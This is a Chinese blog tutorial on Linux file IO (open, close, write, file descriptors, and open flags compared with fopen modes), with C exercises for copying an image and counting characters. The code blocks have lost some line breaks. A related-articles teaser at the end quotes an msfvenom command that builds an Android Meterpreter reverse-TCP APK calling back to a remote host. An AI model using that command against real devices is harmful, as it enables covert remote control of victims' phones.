一、概念

        标准IO是有缓存的IO,文件IO没有缓存,适合于通信、硬件设备操作

        标准IO是库函数,文件IO是系统调用

文件 IO 与标准 IO(基于 C 库函数的 IO)是 Linux 中两种主要的 IO 方式,二者的核心差异如下:

特性文件 IO(系统调用)标准 IO(库函数)
缓存机制无用户空间缓存,依赖内核缓存有用户空间缓存(全缓存、行缓存等)
接口类型系统调用(如 open、read、write)库函数(如 fopen、fread、fwrite)
效率频繁调用时效率较低(系统调用开销)效率高(缓存减少系统调用次数)
实时性实时性好(直接与内核交互)实时性差(缓存延迟刷新)
适用场景底层开发、实时性要求高的场景普通文件操作、追求开发效率的场景

二、系统调用与库函数

        系统调用:是Linux内核中的代码,只能在Linux系统中使用

        库函数:是对系统调用的封装,可以在不同的操作系统中安装并使用,库函数最终还是要调用系统调用完成对应功能

三、文件IO函数接口

1. 函数接口:

标准IO                 文件IO

fopen                 open

fclose                 close

fgetc/fputc         read/write

fgets/fputs

fscanf/fprintf

fread/fwrite

fseek/ftell/rewind         lseek

2. 文件打开

原型:
int open(const char *pathname, int flags);  
int open(const char *pathname, int flags, mode_t mode);  

功能:

打开文件,获得操作文件的 文件描述符

参数:
  • pathname:要打开的文件路径
  • flags:打开文件的标志(必须包含 O_RDONLY/O_WRONLY/O_RDWR 三者之一,可选辅助标志如下):
    • O_RDONLY:只读
    • O_WRONLY:只写
    • O_RDWR:读写
    • O_CREAT:文件不存在时创建(需配合 mode 指定文件权限)
    • O_TRUNC:文件存在时,截断为 0(清空内容)
    • O_APPEND:写操作时追加到文件末尾
    • O_EXCL:与 O_CREAT 配合,若文件已存在则报错
返回值:
  • 成功:返回 新文件描述符(非负整数)
  • 失败:返回 -1
注意:
  • 有三个特殊的文件描述符
    • 标准输入:0
    • 标准输出:1
    • 标准错误:2
  • 文件描述符特点
    • 是 非负整数
    • 取值为 尚未被占用的最小非负整数
    • 存在上限,到达上限后再打开文件会报错。
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>int main(void)
{int fd = 0;// // close(0); //关闭输入流// getchar();// // close(1);// printf("hello");//0664 //八进制//110110100//rw-rw-r--//O_WRONLY:   00000001// O_CREAT:    00000100// O_TRUNC:    00001000// -------------------- |// flags:      00001101  // 所有标志位被合并起来fd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC,0664);printf("fd = %d\n",fd); //[文件描述符]fd = 3 (从3开始)//0,1,2 被占用(有上限)if(-1 == fd){perror("fail to open");return -1;}//rfd = open("a.txt",O_RDONLY,0664);//r+fd = open("a.txt",O_RDWR,0664);//Wfd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC,0664);//w+fd = open("a.txt",O_RDWR | O_CREAT | O_TRUNC,0664);//afd = open("a.txt",O_WRONLY | O_APPEND | O_CREAT,0664);//a+fd = open("a.txt",O_RDWR | O_APPEND | O_CREAT,0664);close(fd);return 0;
}

3. 关闭文件描述符

原型:
int close(int fd);  
功能:

关闭文件描述符

4. 标准 I/O 对应的文件 I/O 的打开方式

标准 I/O文件 I/O 打开方式
rO_RDONLY
r+O_RDWR
w`O_WRONLYO_CREATO_TRUNC, 0664`
w+`O_RDWRO_CREATO_TRUNC, 0664`
a`O_WRONLYO_APPENDO_CREAT, 0664`
a+`O_RDWRO_APPENDO_CREAT, 0664`

5. 文件 I/O 读写

1. write
原型:
ssize_t write(int fd, const void *buf, size_t count);  
功能:

向文件描述符 fd 中,写入 buf 指向的 count 个字节 的数据

参数:
  • fd:文件描述符
  • buf:要写入的数据空间 首地址
  • count:要写入的 字节数
返回值:
  • 成功:返回 实际写入的字节数
  • 失败:返回 -1

四、实战练习

//图片拷贝#include<stdio.h>
#include<string.h>int main(void)
{FILE *fp1 = NULL;FILE *fp2 = NULL;size_t nret = 0;char pic[4096] = {0};fp1 = fopen("pp1.png","r");fp2 = fopen("dst.png","w");if(fp1 == NULL || fp2 == NULL){perror("fail to fopen");return -1;}while(1){nret = fread(pic,1,sizeof(pic),fp1);if(nret == 0){break;}fwrite(pic,1,nret,fp2);// fwrite(pic,nret,1,fp2);}fclose(fp1);fclose(fp2);return 0;
}
//2. 统计一个文件中出现最多的字符是哪个?出现了多少次?//    + 使用链表实现//    + 使用数组实现//      0 - 255    cnt[256]//      'a'   -> cnt[97]#include<stdio.h>
#include<string.h>int main(void)
{FILE *fp = NULL;char file[256] = {0};int ch[256] = {0};int i = 0;printf("请输入文件的名字:\n");fgets(file,sizeof(file),stdin);file[strlen(file)-1] = '\0';fp = fopen(file,"r");if(NULL == fp){perror("fail to fopen");return -1;}while(1){i = fgetc(fp);if(EOF == i){break;}ch[i]++;}fclose(fp);int max = 0;for(i = 0;i < 256;i++){if(ch[i] > ch[max]){max = i;}}for(i = 0;i < 256;i++){if(ch[i] == ch[max]){printf("文件中出现最多的字符是'%c'\n",(char)i); printf("其ascii码值为: %d\n",i);printf("出现了%d次\n",ch[i]);}        }return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92734.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92734.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/92734.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ESP32 MQTT对接EMQX本地服务器

文章目录一、搭建EMQX本地MQTT服务器1.1 下载1.2 使用二、MQTT.fx安装使用2.1 破解及安装2.2 客户端界面说明2.3 与 WebSocket 客户端互发消息2.3.1 使用MQTT.fx连接到EMQX本地服务器1.General设置2.User Credentials设置3.进行连接2.3.2 MQTT.fx发布和订阅主题1.发布主题2.订阅…

【Node.js从 0 到 1:入门实战与项目驱动】2.2 验证安装(`node -v`、`npm -v`命令使用)

文章目录 第 2 章:环境搭建 —— 准备你的开发工具 2.2 验证安装(`node -v`、`npm -v`命令使用) 一、基础验证命令解析 二、基础验证场景案例 案例 1:首次安装后的基础验证 案例 2:检查版本兼容性 三、进阶场景案例 案例 3:在脚本中动态获取 Node.js 版本 案例 4:在 npm…

【虚拟机】VMwareWorkstation17Pro安装步骤

哈喽&#xff0c;你好啊&#xff0c;我是雷工&#xff01; 工作中时常会遇到各种各样的系统&#xff0c; 需要做各种测试&#xff0c; 比如要验证某个软件在某个系统版本上是否适配&#xff0c; 这时候将自己的电脑系统换成要测试的系统就会比较麻烦。 这时候使用虚拟机就…

C语言库中的字符函数

目录 求字符串长度 认识strlen 自主实现strlen 字符串拷贝 认识strcpy 自主实现strcpy strncpy 字符串拼接 认识strcat 自主实现sracat strncat 字符串大小比较 认识strcmp 自主实现strcmp strncmp 字符串中寻找子字符串 认识strstr 自主实现strstr 根据符号…

学习日志31 python

1 x, y y, x 是合法的,这是Python的特色语法x, y y, x 是 Python 中一种非常简洁且实用的特色语法&#xff0c;用于交换两个变量的值。这种语法的优势在于&#xff1a;无需额外的临时变量即可完成交换操作代码简洁易读&#xff0c;一眼就能理解其目的执行效率高&#xff0c;在…

Mac配置服务器工具Royal TSX

Royal TSX是mac上类似xshell的工具&#xff0c;可以远程连接服务器、连接ftp等 下载Royal TSX 官网&#xff1a;Royal TSX 下载插件 在设置中的插件市场plugins中下载需要的插件 例如 远程shell插件&#xff1a;Terminal ftp插件&#xff1a;File Transfer 新建一个文档 开…

【小程序】微信小程序开发,给用户发送一次性订阅消息,常见参数长度和数据类型说明,你值得收藏

&#x1f339;欢迎来到《小5讲堂》&#x1f339; &#x1f339;这是《小程序》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。&#x1f339; &#x1f339;温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01;&a…

Pytorch深度学习框架实战教程-番外篇05-Pytorch全连接层概念定义、工作原理和作用

相关文章 视频教程 《Pytorch深度学习框架实战教程01》《视频教程》 《Pytorch深度学习框架实战教程02&#xff1a;开发环境部署》《视频教程》 《Pytorch深度学习框架实战教程03&#xff1a;Tensor 的创建、属性、操作与转换详解》《视频教程》 《Pytorch深度学习框架实战…

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享 一、业务场景描述 在微服务架构中&#xff0c;配置中心承担集中化管理各微服务配置的职责。随着服务实例数量增加&#xff0c;单点部署的Spring Cloud Config Server无法满足生产环境的高可用需求。同时&#xff0c…

华为服务器中Mindie镜像的部署及启动方法

一、部署方法 首先要安装好Docker,然后点开网址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取镜像需要申请权限: 注册登录后,即可提交申请,一般需要一个工作日,等审核通过后,点击下载即可弹出如下提示框: 按照上述方法…

Unity基于Recoder的API写了一个随时录屏的工具

Tips: 需要有Recorder Package引用或存在在项目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓渗透基础(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一个工具&#xff0c;用于给 APK 文件签名&#xff0c;确保应用的完整性和安全性。进入 File > Settings > Appearance &a…

从零构建自定义Spring Boot Starter:打造你的专属开箱即用组件

一、引言:为什么需要自定义Spring Boot Starter Spring Boot的核心理念是"约定优于配置",而Starter(启动器)正是这一理念的最佳实践。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通过封装常用组件的配置,让开发者能够"…

MySQL 基础操作教程

MySQL 是目前最流行的开源关系型数据库管理系统之一&#xff0c;广泛应用于Web开发、数据分析等场景。掌握基础的增删改查操作是入门的关键。本文将从环境准备开始&#xff0c;带你深入&#xff0c;mysql一、前置准备&#xff1a;安装与连接 MySQL 1. 安装 MySQL Windows&#…

批量把在线网络JSON文件(URL)转换成Excel工具 JSON to Excel by WTSolutions

产品介绍 JSON to Excel by WTSolutions 是一款功能强大的工具&#xff0c;能够将JSON数据快速转换为Excel格式。该工具提供两种使用方式&#xff1a;作为Microsoft Excel插件或作为在线网页应用&#xff0c;满足不同用户的需求。无论是处理简单的扁平JSON还是复杂的嵌套JSON结…

【排序算法】③直接选择排序

系列文章目录 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希尔排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接选择排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

2024年ESWA SCI1区TOP,自适应种群分配和变异选择差分进化算法iDE-APAMS,深度解析+性能实测

目录1.摘要2.自适应种群分配和变异选择差分进化算法iDE-APAMS3.结果展示4.参考文献5.代码获取6.算法辅导应用定制读者交流1.摘要 为了提高差分进化算法&#xff08;DE&#xff09;在不同优化问题上的性能&#xff0c;本文提出了一种自适应种群分配和变异选择差分进化算法&…

目标检测数据集 - 无人机检测数据集下载「包含COCO、YOLO两种格式」

数据集介绍&#xff1a;无人机检测数据集&#xff0c;真实采集高质量含无人机图片数据&#xff0c;适用于空中飞行无人机的检测。数据标注标签包括 drone 无人机一个类别&#xff1b;适用实际项目应用&#xff1a;无人机检测项目&#xff0c;以及作为通用检测数据集场景数据的补…

Linux DNS服务解析原理与搭建

一、什么是DNSDNS 是域名服务 (Domain Name System) 的缩写&#xff0c;它是由解析器和域名服务器组成的。 域名服务器是指保存有该网络中所有主机的域名和对应IP地址&#xff0c; 并具有将域名转换为IP地址功能的服务器。 域名必须对应一个IP地址&#xff0c;而IP地址不一定有…

typecho博客设置浏览器标签页图标icon

修改浏览器标签页图标&#xff08;favicon.ico&#xff09;&#xff1a;第1种&#xff1a;上传到服务器本地目录1、制作图标文件&#xff1a;准备一张长宽比为 1:1 的图片&#xff0c;将其上传到第三方 ico 生成网站&#xff0c;生成后缀为.ico 的图片文件&#xff0c;并将其命…